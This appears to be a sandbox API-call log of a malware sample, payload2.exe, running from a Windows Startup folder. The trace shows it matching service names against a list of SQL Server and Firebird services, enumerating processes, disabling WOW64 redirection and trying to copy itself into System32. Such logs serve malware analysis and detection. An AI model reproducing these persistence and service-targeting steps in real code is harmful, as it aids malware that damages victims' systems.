	[0163.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0163.250] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0163.250] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0163.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0163.250] lstrlenW (lpString="ShellHWDetection") returned 16
	[0163.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0163.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0163.250] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0163.250] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0163.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0163.250] lstrlenW (lpString="Spooler") returned 7
	[0163.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0163.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0163.251] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0163.251] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0163.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0163.251] lstrlenW (lpString="StateRepository") returned 15
	[0163.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0163.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0163.251] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0163.251] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0163.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0163.251] lstrlenW (lpString="SysMain") returned 7
	[0163.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0163.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0163.251] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0163.251] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0163.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0163.251] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0163.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0163.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0163.251] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0163.251] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0163.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0163.251] lstrlenW (lpString="Themes") returned 6
	[0163.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0163.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0163.251] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0163.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0163.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0163.252] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0163.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0163.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0163.252] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0163.252] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0163.252] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x655180 | out: hHeap=0x610000) returned 1
	[0163.252] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240
	[0163.262] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0163.263] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0163.263] lstrlenW (lpString="System") returned 6
	[0163.263] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0163.264] lstrlenW (lpString="smss.exe") returned 8
	[0163.264] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0163.264] lstrlenW (lpString="csrss.exe") returned 9
	[0163.264] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0163.265] lstrlenW (lpString="wininit.exe") returned 11
	[0163.265] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0163.265] lstrlenW (lpString="csrss.exe") returned 9
	[0163.266] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0163.266] lstrlenW (lpString="winlogon.exe") returned 12
	[0163.266] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0163.267] lstrlenW (lpString="services.exe") returned 12
	[0163.267] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0163.267] lstrlenW (lpString="lsass.exe") returned 9
	[0163.267] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0163.268] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0163.268] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0163.268] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0163.268] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.269] lstrlenW (lpString="svchost.exe") returned 11
	[0163.269] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.269] lstrlenW (lpString="svchost.exe") returned 11
	[0163.269] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0163.270] lstrlenW (lpString="dwm.exe") returned 7
	[0163.270] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.270] lstrlenW (lpString="svchost.exe") returned 11
	[0163.270] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.271] lstrlenW (lpString="svchost.exe") returned 11
	[0163.271] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.271] lstrlenW (lpString="svchost.exe") returned 11
	[0163.271] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.272] lstrlenW (lpString="svchost.exe") returned 11
	[0163.272] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.272] lstrlenW (lpString="svchost.exe") returned 11
	[0163.273] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.273] lstrlenW (lpString="svchost.exe") returned 11
	[0163.273] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.274] lstrlenW (lpString="svchost.exe") returned 11
	[0163.274] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.274] lstrlenW (lpString="svchost.exe") returned 11
	[0163.274] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.275] lstrlenW (lpString="svchost.exe") returned 11
	[0163.275] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.275] lstrlenW (lpString="svchost.exe") returned 11
	[0163.275] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0163.276] lstrlenW (lpString="spoolsv.exe") returned 11
	[0163.276] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.276] lstrlenW (lpString="svchost.exe") returned 11
	[0163.276] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0163.277] lstrlenW (lpString="audiodg.exe") returned 11
	[0163.277] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0163.277] lstrlenW (lpString="sihost.exe") returned 10
	[0163.277] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.429] lstrlenW (lpString="svchost.exe") returned 11
	[0163.429] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0163.430] lstrlenW (lpString="taskhostw.exe") returned 13
	[0163.430] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0163.430] lstrlenW (lpString="msoia.exe") returned 9
	[0163.430] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0163.431] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0163.431] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0163.431] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0163.431] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0163.432] lstrlenW (lpString="Memory Compression") returned 18
	[0163.432] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0163.432] lstrlenW (lpString="explorer.exe") returned 12
	[0163.432] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0163.433] lstrlenW (lpString="SearchUI.exe") returned 12
	[0163.433] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0163.433] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0163.433] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0163.434] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0163.434] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0163.435] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0163.435] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1
	[0163.435] lstrlenW (lpString="mobsync.exe") returned 11
	[0163.435] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0163.436] lstrlenW (lpString="payload2.exe") returned 12
	[0163.436] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0163.436] lstrlenW (lpString="payload2.exe") returned 12
	[0163.436] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 0
	[0163.437] CloseHandle (hObject=0x240) returned 1
	[0163.437] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x627758 | out: hHeap=0x610000) returned 1
	[0163.437] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x627518 | out: hHeap=0x610000) returned 1
	[0163.437] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6266a8 | out: hHeap=0x610000) returned 1
	[0163.437] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x626868 | out: hHeap=0x610000) returned 1
	[0163.437] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6269a8 | out: hHeap=0x610000) returned 1
	[0163.437] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x652b60 | out: hHeap=0x610000) returned 1
	[0163.437] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x626848 | out: hHeap=0x610000) returned 1
	[0163.437] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x626508 | out: hHeap=0x610000) returned 1
	[0163.437] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64da18 | out: hHeap=0x610000) returned 1
	[0163.437] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64da90 | out: hHeap=0x610000) returned 1
	[0163.437] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x626628 | out: hHeap=0x610000) returned 1
	[0163.437] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d9a0 | out: hHeap=0x610000) returned 1
	[0163.438] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x656e00
	[0163.438] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x666e08
	[0163.439] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652ad0
	[0163.439] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652ad0, Size=0x20) returned 0x64d9a0
	[0163.439] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64d9a0, Size=0x40) returned 0x627638
	[0163.439] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652b90
	[0163.439] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652b90, Size=0x20) returned 0x64db30
	[0163.439] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x6529f8
	[0163.439] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6529f8, Size=0x20) returned 0x64dba8
	[0163.439] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652980
	[0163.439] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652980, Size=0x20) returned 0x64db58
	[0163.439] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64db58, Size=0x40) returned 0x627710
	[0163.439] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x666e08, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe")) returned 0x5a
	[0163.439] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x676e10
	[0163.439] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x686e18
	[0163.440] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x6529e0
	[0163.440] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6529e0, Size=0x20) returned 0x64dc20
	[0163.440] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x64dc20, Size=0x40) returned 0x627518
	[0163.440] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627518, Size=0x80) returned 0x655a00
	[0163.440] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x655a00, Size=0x100) returned 0x6539b8
	[0163.440] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0163.440] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6539b8 | out: hHeap=0x610000) returned 1
	[0163.440] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\payload2.exe", lpDst=0x676e10, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\payload2.exe") returned 0x21
	[0163.440] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x686e18 | out: hHeap=0x610000) returned 1
	[0163.441] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x676e10 | out: hHeap=0x610000) returned 1
	[0163.442] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x100000) returned 0x249e020
	[0163.445] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652aa0
	[0163.445] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652aa0, Size=0x20) returned 0x64dc20
	[0163.445] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x6529e0
	[0163.445] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6529e0, Size=0x20) returned 0x64dbd0
	[0163.445] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0163.445] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0163.445] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1
	[0163.445] lstrlenW (lpString="kernel32.dll") returned 12
	[0163.445] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64dc20 | out: hHeap=0x610000) returned 1
	[0163.445] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0163.445] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64dbd0 | out: hHeap=0x610000) returned 1
	[0163.445] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0163.446] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\payload2.exe" (normalized: "c:\\windows\\system32\\payload2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0163.448] CloseHandle (hObject=0x240) returned 1
	[0163.448] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x652ad0
	[0163.448] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x652ad0, Size=0x20) returned 0x64db58
	[0163.448] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x6528a8
	[0163.448] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6528a8, Size=0x20) returned 0x64d9a0
	[0163.448] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
